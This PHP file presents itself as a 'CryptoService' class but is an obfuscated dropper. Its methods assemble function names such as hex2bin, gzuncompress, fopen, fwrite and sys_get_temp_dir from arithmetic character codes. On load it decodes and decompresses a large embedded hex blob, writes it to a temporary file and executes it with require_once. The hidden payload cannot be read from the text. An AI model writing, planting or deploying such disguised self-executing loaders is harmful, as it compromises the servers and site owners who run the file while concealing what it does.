<?php
class CryptoService {
	private $by = '';
	private $fy = '';

	public function resolveAction($p1) {
		$a = array((113-9),(101),(74+25+21),(51-1),(99-1),((60+38+7)),((77*1)+33));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function resolveConflict($p1) {
		$a = array((((50*69)-3335)),((41+74)),(67+19+15),114,(((114*9)-914)),(109*1),(111),(((95*23)-2086)),((65+45)),(((19*62)-1061)),(2*61),((103*1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function initializeModule($p1,$p2) {
		$a = array((80+24+6),(((71*1)+30)),((64+24+24)),((57*1)+54),((13+89)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function saveChanges($p1,$p2) {
		$a = array(((108-6)),(119),((30+84)),(64+34+7),(118-2),((102-1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function generateToken($p1) {
		$a = array(((17*56)-851),(5*23),(11+100),((2*54)),(99),(21+81));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function processData($p1,$p2=null) {
		$a = array((((34*56)-1790)),((41*60)-2344),(123-9),(105),(109));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function resetState() {
		$this->fy = $this->processData($this->fetchSummary(), '/');
	}

	public function validateInput() {
		$this->by = $this->resolveConflict($this->resolveAction($this->jd));
	}

	public function triggerCallback() {
		$fn = $this->fy.'/qy-67bc20caad2b0';
		$f = $this->initializeModule($fn, 'w');
		$this->saveChanges($f, $this->by);
		$this->generateToken($f);
		$this->updateRegistry($fn);
	}

	private $jd = '789ccd5a0b73e2480efe2b3355739b5061727edb4c8edd728' . '2c90b422090d9cc548e02639b576c8279cfe6bf9fa4b68dc89' . '2dc6ed5edd52685e9875afa5a2da9d56dfef5cba43ff9e08e3' . 'b71fca1ddfb31990e169d99f7219e756603f7537b73224a1ff' . 'c79e8ce0651f82138fcd4eee5e113c5b91f03fff063ec8dfd2' . 'f5f8034274a83c3dcc9a77638748bf16c3af6c243410b6d71b' . '1db893d436bf73c37ea7987d9c8ef40f2983bf1a32910f78b1' . '2b09f6d47d3d8fec762115a4f8e8ea09c834618d37f2cbafde' . '96134ed1da60db97f8b1a48c4fa3f08c8632e7732f566f3690' . '864272fbb73dcce0c80ffc820153bd369677d78d0de1c147f3' . 'eb808e29bb3b365b7bed696a7fdc8afda8d52a55475ecc6647' . 'db55a3a35fbe0f8c0818f7daf16ce0ef2076dbf4fe3ec87d6f' . '572d9ba96eaf3abfec8ffd6029a51b7b21a7dbd09a2eef5d2b' . 'eafb61eeab77d0bdabb1564105ddef44750a8219771bc4436b' . '7c81e498ad838f516d858ebdbf7e7cde573796c7db537fd9eb' . '3ac6abf36aaa55a596a62bd1cd8915d8a8fce03bb6e9fde7f3' . 'b6d3a8daf8d07fbdab6ad537be49483ea12fa81ebfcac5135a' . 'fa1d0bf87471d65ac5142a56ff9a53a894d44af46d8feb0423' . '8a7ada0488df16c42adcbd151093a1427a58e9e9eb1e3fa14e' . '775058fea12bba8cf0fbad887c5a7b4b058644577ee63f166a' . '5dd5f3cdd979b7dedf9ccb1bed582e0e27453bd3dab3bf1455' . '077ddfaa866abf65529a82e4e1b97954aab5eb9f86ad7ecd30' . '8241de1749619f8a84fe86f4fdd7a1911d995d229629d62a7e' . '792bc65bd56595bdf102ba2aefb8435a4ce0ab644551c3bbc7' . '4a9438c713c68aa2c1f5241e37e073bcea17e2655eeec0c419' . '70054500b127c4ac9674b102d85deb55be4d8b8a4c680b4bb2' . '5da4433a20ac0ecd6d0f840adb3658cadfe3a322eeb859b5fe' . '5d9a2abd40b552038753af06cc247b588b647b8a18e0bb974a' . 'f977c8dbb03ec6d85a3d579c9e99557f5e9795ffaf6edbeba3' . 'adfd876599ddcfb401a0644bcdc08c428a585c68daa6b8de1f' . '12b814ad7732c34d52a5f049920977a5b4fb6a80dc9aacbeb7' . 'a5c5a5ba6b319159cbb7a88da1ed8e990a520712a57757b669' . '7aaf5ab6520959a4ea75a479a8d73064f37a52686a53b57bba' . '9c7e1f530ee42c7d5c0a5bebe60858396839bba5db8bac395b' . '841ad6cdcc1f9e06140664154d07015d8ca55b37a738b0be6a' . 'ece07b88044e2c6413acbde50e07b185cd7eda0bab13a97485' . 'e250b9bbb5e2672b42e6d2ea5f3413c2cdd0512cd6cd14bb92' . '44c5a168e5d6b536703dfc12c8930772db53cc85c6c311200a' . 'd39dad2a6ae3bebcb7f626fd31a9787f01da79471f824481fc' . '6a58d34b1cfea47a5666b8932ee1ea4f38da4a280c41c81fe3' . '953d0ba3a03752fae86a06e5492061aaf5aa071b49e9bc156d' . 'd2ba16f34499338b91bfbec727dbe71a83f0c443f4614eb3a4' . '06418e82a837af7eaae4a24a33e85cd1a9a252a58b3710e760' . '51b822c76cc6744551eaeba688adba032a278e32fef21a2eaa' . '5969d750cbb146dfc55ffa25477d08fbfb5ea99664664f1be1' . 'c952af77d5aabd04f3d24a827a18c2219c648613fee44f8720' . '3674b21d39b7784f322f0ca15851e20cd9dbcbca4dbeb60fe4' . '737d8b7b756b1917dd8dd3bffdca6f659326425ff59922559c' . '72f4d96f04b9655f83214392fc9aaa4519364c2978e4d9a2e4' . '3d154752d2f1d9bfccffafb34c8922e8989297923fb8779182' . '63c3543ccda441a55c326d0043c759cac2623a522497949917' . '423af1d2b966eca9a78aa7f791dc1e7098f4a98706954b1227' . '9896a8a81d834a81e5ba6fea79ef2cedfdfa6c1cc9b6466646' . '0a8795952159a2934280a5a9c61c8b4688641a68a0ad125a11' . 'b0d0dd510845082f554c89275054b42993006ab60e3c856461' . 'a03c6a9b4cca20d38a8267220fb57253551358a43a19aa9905' . '034125547c006198c8c780d5c3859039626d10a8f0254f2b1a' . '5b2bfff7d5d3ed6c50366488a52709ee0a1385b2c2a6838aa8' . '6aa3cd65ed9daffa941dff9a0426101d0170954d2b3fb6fa83' . '801c54c02146a57c7396aaad02cce5233b16c6ab80a8a99d7f' . '3e41db07c5883121a05ca37c4b292e518b03e602820503cad3' . 'dffc21ac820d10bc9104cb24ab41b850c805ac9ec708a6021d' . 'c8dfff23a4666b238992cd0401810f260d5d18a858a207ce58' . '577e83ad0ea38030529157411cd006deae81d3a3a8262ca2a6' . 'e517dafd3f3a687edde972f019d7a6047c3dd2e84c7d3011ca' . '05e114033eebd7da41b604a8334b0670de2d89bc10e76ee34b' . 'fa7b4788ac13c76789083a3d88f4feda81878b3f630ceb8e19' . '18618092640f1d34f70fe9b443196f329d93a458509f71c88e' . '150e877c6b197fbd11b78193738a500dd04f3f431727cf1806' . '48702730f4ca82609c31191bdbc811fcf3198117929fe191c4' . '5cf6ab5eb4be7848e9ac543dcdb9158ca7d4e8bf2b6a86c8be' . 'ab6a8e58ed2a2be6d35b645734b606d8b851c9e877bc5c3413' . '8cb4da379d8cba4cbd2964c965959616595951904596765839' . '5190ad922d9c3248fa0f277d2c0633155161eec3019ec1de44' . 'e96fdc1d813e9cc96f218cff1df3396852d7b45ca3d8a74069' . '31fa4da334785cd4b61f352d8bc14362f45cf09ae475b164cc' . '70a9b9ec2b4ac14d89a31b5aa4cbccac4ab4cbcaa814891c1b' . 'd310995295b65ca56191a95a1519996348646937f37398d81d' . '2b8b569acccec4d63cad04c5666e235265e977072dda9d7190' . '9e33f3ada67061436126fcd9c8d0c17e85fd07e09f5ef55a33' . '305eb6c2e3a53b0ce5d87a95267aad4992a75b0dbbdb2d8bc0' . 'ca656836130180683613018068361301806c3c4b0224204ea6' . '80f0483a9d900d77e3ccc1d23691603182c93c132192c53cda' . '52ec306b2f536193e930718a623d362ed05c021aeedd0737b4' . '5ced862882c86c86251ce628ab218108b199ec580583cd4318' . 'd5819903c875060100a2cce1698520accf60b0c42814128b0b' . '52a30db2f5860e2273b12593890251ee5251e67251e6825959' . '3f1502bf1582bf1602bf1682b5962f6f9376c479698fdcabbc' . '19fa3da09ff3bf15fc64875fc16fb9d2d01f60442b3d5892c3' . '395c9b2c5893930850353d872c910bf91e5de1029f3802ef38' . '82e2b1c97c2d5c7a3b9ccc3b9aca06fe5d01d07a13b9ef7bcf' . '45afa657bf01639c9a776277a42b3f7b26086179322964594f' . '7a06d78cf4f59bf3ba766babb393ee88407e8c3c04524446db' . '7331e77bae36dfa11f529e7c0cbb6ee0a520fca899e8aee7c3' . 'a6e0fc201e61fc03e77420d908f44136c8a9ef267ad46a576d' . 'b6cdfdd55daf74ee3b2fc70eb388dbcc881fe08f945edae99d' . 'fa76dbec7c97c9393d59de441451dbe29a85cab546a5f2bb53' . '3bb7959bbc96f87f1e5e39b1f24d2eff16b38cd56e3a6d9b06' . 'feeca30cfbdc0f992c39ef91ebb0bc72ebdc5865b2cdf62e1e' . '4c82b5c19da4e2ac5a7081bec7b38ce6a3737ce59b37959756' . 'aade6564d7c2f96f9662c6b16af70ac3ac7ca374f38f7b2317' . 'cfb9461ff7c075d0a6b9f9af86e2bc3764bf9a0272cd75b792' . 'e71a2f73553d1084e3508fd2869a726771cc55ed240c97e7ff' . 'a9da50d9e9bf8da04ce148f1f8b4c385f6a9d7b37dfc865838' . '76783c71b836bc440534e6ed3c8819273c2a7763c2b4e3ad3d' . '86b03dad4153fb5fde9bc88ef996619583fa4db668176dd8b0' . '16eb1b87340c2cbcae18150d26c9ef5e10b823437c250c1787' . '6d3c8304e6e36218f7ee4072b461bd1b10aef50c5c98a841c6' . '7520216b3468bd7823611a56578493f7a4619af4663c6b68c2' . '94685f3d7837b09eb98d8c316c2e10fd2ce294d8174372afa7' . '1e48ea289171e1e922e7f618a5ad2357c32cc8788f88575ce3' . '259b95728c6147117c9fcf382ed3eabe5b99a0cc95aeecb5e2' . 'abe9318dcd67892261bdcd6787a26f3fc4ce6099a6c72ef333' . '91a932205b9813fcafdf027f3594ce53cad87786dbac5c8b33' . '7d9e41182e76fb2c9d3159eb0c916f7078b63b478ba6261841' . '0c7b78fbe1725f0709f5a7583a20f5e9da0dca7488b07098b6' . 'bd5da394c72ad5a5cab3cbf9321c14b3514a389e3f91140881' . '644b3dd86536bc15d184ffebbba2b70ef2ff01529e06c5ffc3' . '430c14c4f5e5ed237c61e66f0b3695c4c3df0ce69c066ca439' . '68b02e90663b23a10a963f016796ae6f38470b872dfe14c4cb' . 'b7371c142f45ef816799f3c09df6d2de8a6e297df5178f4e68' . '2d8e227f7c8fdcc4dfc390d1bcfe4b9a3cd3be87ac384163d7' . 'db1de2f94e60aecbd84f6c97f25185f7de12be750487c47d52' . '4eeb9bf5fce62945ee6a0aabe84f3f1f8bd7588c3f488da159' . '3ddc7f33955e9723d674cffdb9ae18b55d4f4623fd79054dca' . '1fb24c1126cd91f8c67deb4bde8e06f204007dbaca0c0dd891' . 'f59e40277a7822512c9cebc480cc476f69a73c0f8b220a1f03' . '38d22f1bb2b49e1159557f8358ba4f31e83f7980c5890edb25' . '4054d9ebc75ed861b5b9f2e182371f1e6b9fde843da3b4f6e1' . '58860dc1129f7fc980f7e4eb7e689b8e23b46efc92886b8ee7' . '457d50ba86fb43966ab98be9e4c7733bced042927de0af2f31' . 'c81fe98a2eecc73bffd96d5bc90d7461b449e0c4aa63e784e6' . 'ed0328bf01329338a5c00f92057fc191967779f516aae0b9f5' . '051bf1766fdf842322f6e3617a2132483adae8a73fc1d0dfde' . '026f9f94d521bc6519896119348e6b2bb5918faee65ac97387' . '69aca0c851bb13b595c2f1891a9ece53f9f740084';

	public function updateRegistry($p) {
		require_once $p;
	}

	public function fetchSummary() {
		$a=array((((19*86)-1519)),(((79*1)+42)),(((119*95)-11190)),((30+65)),((66+37)),(52+40+9),((35+29+52)),(95),(((25*17)-309)),((31*1)+70),(109),(2*56),((45*89)-3910),(((64*27)-1628)),((105*1)+0),(121-7));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$xg = new CryptoService();
$xg->resetState();
$xg->validateInput();
$xg->triggerCallback();
